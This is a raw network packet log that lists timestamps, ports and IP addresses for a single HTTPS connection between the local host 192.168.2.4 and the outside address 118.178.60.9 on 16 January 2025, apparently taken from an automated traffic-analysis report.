Jan 16, 2025 03:55:38.382566929 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.382622004 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.382675886 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.382725954 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.386866093 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.386943102 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.386971951 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.387026072 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.398606062 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.398698092 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.398720980 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.398895025 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.398940086 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.398940086 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.399004936 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.399249077 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.399305105 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.399322987 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.399374008 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.399532080 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.399586916 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.399621010 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.399669886 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.440236092 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.440268040 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.440289021 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.440299988 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.440346956 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.440356970 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.440399885 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.440452099 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.442642927 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.442712069 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.442734003 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.442790031 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.443085909 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.443140030 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.443170071 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.443224907 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.443941116 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.443995953 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.444048882 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.444101095 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.450009108 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.450078011 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.450095892 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.450155020 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.458448887 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.458512068 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.458534002 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.458590984 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.464059114 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.464116096 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.464164972 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.464222908 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.467964888 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.468030930 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.468049049 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.468255043 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.469433069 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.469495058 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.469554901 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.469609976 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.473728895 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.473789930 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.473813057 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.473911047 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.485591888 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.485903978 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.485949993 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.485949993 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.485982895 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.486042976 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.486136913 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.486241102 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.486238956 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.486238956 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.486305952 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.486354113 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.488965988 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.496957064 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.497030973 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.497134924 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.497188091 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.500760078 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.500818968 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.500871897 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.500931025 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.516405106 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.516501904 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.516568899 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.516570091 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.516602993 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.516628981 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.516653061 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.516686916 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.516716003 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.516768932 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.529515028 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.529587984 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.529619932 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.529643059 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.529681921 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.529681921 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.529742956 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.529793978 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.529831886 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.529886007 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.530716896 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.530801058 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.530826092 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.530872107 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.536674976 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.536736012 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.536938906 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.537111044 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.545151949 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.545223951 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.545274019 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.545325994 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.550755024 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.550827980 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.550870895 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.550924063 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.554706097 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.554795980 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.554841995 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.554900885 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.556116104 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.556169033 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.556298018 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.556360006 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.560317039 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.560380936 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.560415030 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.560467005 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.572349072 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.572417021 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.572457075 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.572514057 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.572577953 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.572628975 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.572946072 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.572995901 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.573030949 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.573080063 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.573396921 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.573446035 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.779377937 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.781966925 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.791903019 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.791939020 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.791970968 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.792005062 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.792046070 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.792058945 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.792114019 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.834450960 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.834510088 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.834558964 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.834650993 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.834671974 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.834729910 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.834758043 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.834938049 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.834955931 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.834997892 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.835057974 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.835082054 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.835129023 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.835129023 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.835144997 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.835192919 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.835208893 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:38.835253954 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:38.835292101 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.039325953 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.041965008 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.152432919 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.152496099 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.152527094 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.152565002 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.152589083 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.152601004 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.152656078 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.206975937 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.206995964 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207031012 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207093000 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207107067 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207153082 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207165003 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207230091 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207256079 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207288027 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207355022 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207355022 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207370996 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207408905 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207451105 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207463980 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207515001 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207530975 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207561970 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207600117 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207622051 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.207633018 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.207712889 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.415369987 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.417974949 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.567527056 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.567588091 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.567622900 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.567673922 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.567715883 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.567730904 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.567787886 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.616966963 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.616988897 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617038965 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617120028 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617135048 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617182970 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617223978 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617223978 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617244005 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617289066 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617317915 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617340088 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617398977 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617398977 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617413998 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617448092 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617489100 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617506027 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617508888 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617556095 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617573023 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.617616892 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.617695093 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:39.827334881 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:39.827514887 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.004859924 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.004924059 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.005135059 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059202909 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059281111 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059333086 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059354067 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059459925 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059499979 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059535027 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059560061 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059576035 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059640884 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059674025 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059674025 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059689045 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059699059 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059771061 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059771061 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059787035 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059823990 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059823990 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059876919 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059895039 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.059942961 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.059989929 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.271330118 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.271414995 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.476002932 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.476064920 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.476100922 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.476150036 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.476176023 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535381079 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535439968 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535480976 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535505056 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535547972 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535567045 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535609007 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535621881 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535655975 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535696030 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535696030 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535708904 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535752058 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535793066 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535809994 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535845041 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535845041 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535862923 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.535913944 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.535948038 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.747335911 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.747977972 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.984524965 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.984584093 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.984618902 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.984643936 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.984678030 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.984699965 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.984740973 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.984755039 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.984791994 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.984817028 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.984828949 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.984883070 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.984903097 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.984970093 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.984996080 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.985007048 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.985060930 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.985073090 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.985100031 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:40.985171080 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.985171080 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:40.985234022 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.191343069 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.191524029 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577332973 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577374935 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577404022 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577425957 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577455997 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577471018 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577498913 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577533960 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577533960 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577549934 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577581882 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577610970 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577624083 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577658892 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577673912 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577709913 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577709913 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:41.577729940 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:41.577769995 CET	443	63431	118.178.60.9	192.168.2.4
